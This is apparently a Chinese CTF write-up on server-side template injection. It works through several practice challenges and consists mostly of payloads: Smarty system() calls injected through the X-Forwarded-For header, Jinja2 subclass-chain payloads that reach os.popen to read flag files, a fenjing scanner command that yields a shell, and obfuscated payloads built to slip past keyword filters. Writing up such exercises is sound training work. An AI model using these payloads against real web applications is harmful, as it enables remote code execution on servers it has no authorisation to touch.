Web入门-SSTI模板注入攻击

做题

[CISCN 2019华东南]Web11

看到下方提示Smarty,即想到PHP的SSTI模板注入攻击。

右上角Current IP:后内容怀疑使用模板,内容来源于XFF请求头。

尝试修改请求头:

1
X-Forwarded-For: {4*4}

看到回显16,确凿了,直接PHP执行:

1
{system("cat /flag")}

[NISACTF 2022]midlevel

重题。

[HDCTF 2023]SearchMaster

1
data={system("cat /flag_13_searchmaster")}

[HNCTF 2022 WEEK2]ez_SSTI

一般SSTI参数先猜name,果然有,找到类_frozen_importlib_external.FileLoader的位置:

1
http://node5.anna.nssctf.cn:28392/?name={{"".__class__.__base__.__subclasses__()}}

每个docker都不一样,这里是118号,丢payload:

1
http://node5.anna.nssctf.cn:28392/?name={{"".__class__.__base__.__subclasses__()[118]["get_data"](0,"flag")}}

另一种payload是找os.popen函数:

1
http://node5.anna.nssctf.cn:28392/?name={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20flag%27).read()}}

Hackbar上都有,改改就能用。

[GDOUCTF 2023]

直接上焚靖,但webui不好使,用这个:

1
fenjing scan --url http://node5.anna.nssctf.cn:22213/

返回交互Shell后:

1
cat /flag

还有些手动的Payload,用的时候得URL编码:

1
2
3
{%set u='%c'%95*2%}{%print(''|attr(u+'cla''ss'+u)|attr(u+'ba''se'+u)|attr(u+'su''bcla''sses'+u)()|attr(213)|attr(u+'i''n''i''t'+u)|attr(u+'glo''bal''s'+u)|attr('ge''t')(u+'bui''lti''ns'+u)|attr('ge''t')(u+'imp''ort'+u)('o''s')|attr('po''pen')('ca''t /f''lag')|attr('re''ad')())%}
{% set po=dict(po=a,p=b)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}{%set pp=dict(pop=a,en=b)|join %}{%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(132)|attr(ini)|attr(glo)|attr(geti)(pp)('tac /flag')|attr('read')() )%}
{%print(((lipsum|attr(('%c'*11)%(95,95,103,108,111,98,97,108,115,95,95))|attr(('%c'*11)%(95,95,103,101,116,105,116,101,109,95,95))(('%c'*12)%(95,95,98,117,105,108,116,105,110,115,95,95))|attr(('%c'*11)%(95,95,103,101,116,105,116,101,109,95,95))(('%c'*4)%(101,118,97,108))))(('%c'*42)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,102,108,97,103,39,41,46,114,101,97,100,40,41)))%}

[NISACTF 2022]is secret

FUZZ一下,找到secret路由,参数secret。

把下面这条Payload进行RC4加密:

1
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}

密钥是HereIsTreasure。